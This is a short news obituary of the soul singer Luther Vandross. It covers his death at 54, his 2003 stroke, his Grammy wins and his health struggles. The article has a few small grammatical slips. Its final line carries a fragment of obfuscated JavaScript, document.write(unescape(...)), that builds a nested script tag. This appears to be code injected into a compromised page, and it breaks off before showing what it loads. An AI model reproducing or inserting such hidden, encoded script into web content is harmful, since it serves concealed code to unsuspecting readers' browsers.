Luther Vandross is dead

The American soul singer Luther Vandross has died, aged 54.

He suffered a major stroke two years ago, but had continued to record and accepted four Grammys in 2004 while he was in a wheelchair. In a career which included hits like Give Me The Reason and Love Won't Let Me Wait, he also won four Grammy awards for best male R&B performer.

Vandross, who sold 25 million albums, was a crooner with a unique vocal style, specialising in songs of love. The singer died peacefully at the JFK Medical Centre in New Jersey "under the watchful eyes of friends, family and his medical support team", said hospital spokesman Robert Cavanaugh.

"Luther Vandross suffered a stroke two years ago which he never fully recovered from. Luther was deeply touched by all the thoughts and wishes from his fans," Mr Cavanaugh said.

Although Vandross stopped making public appearances after his stroke in his Manhattan apartment in April 2003, but won a series of Grammys the following year.

He was known for his rich, mellow voice, which harked back to a less explicit era in his songs of romance and desire.

"I'm more into poetry and metaphor, and I would much rather imply something rather than to blatantly state it," he said. "You blatantly state stuff sometimes when you can't think of a a poetic way to say it."

Vandross had long battled fluctuations in his weight, as well as diabetes and hypertension.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22